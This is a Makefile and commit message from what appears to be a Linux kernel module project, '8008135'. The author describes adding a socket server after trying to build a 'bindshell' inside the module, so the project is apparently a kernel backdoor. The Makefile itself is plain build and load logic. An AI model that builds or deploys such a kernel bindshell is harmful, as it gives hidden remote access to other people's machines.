8008135/Makefile
Valentin Lechner 28c4025758 Adding a Socket Server to the Linux Kernel Module
Gone a long way from trying to implement a socket bindshell
using the standard C-Libraries (which obv. doesn't work in LKM!),
then implementing an ASM-Solution only to find out there are problems
with the x86/x32 bit and knowing that I have no clue of how to write ASM,
I thought of looking into sockets on linux kernel modules - AAAND
found one. So the files:
* src/50ck3t.c
* src/headers/50ck3t.h
are basically from
https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
Thanks for sharing! There will prob. be some additions and modifications.

Makefile:
* Some Stuff had to be renamed in the Makefile due to
Renaming src/create_sysgen.sh -> src/cr3473_5y563n.sh &
Added src/headers/50ck3t.h, src/50ck3t.c

Including src/headers/50ck3t.h in 8008135.c

Changing Module License to GPL, somehow GPLv3 was a problem to the compiler
because of do_exit
2019-11-22 00:32:36 +01:00

40 lines
728 B
Makefile

# Module name
MNAME := 8008135
# Build
MODULEDIR := /lib/modules/$(shell uname -r)
BUILDDIR := $(MODULEDIR)/build
KERNELDIR := $(MODULEDIR)/kernel
# Source files
SRCS_S := src
LIBS_S := src/libs
INCL_S := src/include
# Header files
SRCS_H := $(PWD)/$(SRCS_S)/headers
LIBS_H := $(PWD)/$(LIBS_S)/headers
INCL_H := $(PWD)/$(INCL_S)/headers
obj-m += $(MNAME).o
# Core
$(MNAME)-y += src/$(MNAME).o
$(MNAME)-y += src/50ck3t.o
# Includes for header files etc
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
all:
$(shell $(SRCS_S)/cr3473_5y563n.sh)
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
insmod $(MNAME).ko
unload:
rmmod $(MNAME)
clean:
-rm $(SRCS_H)/5y563n.h
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean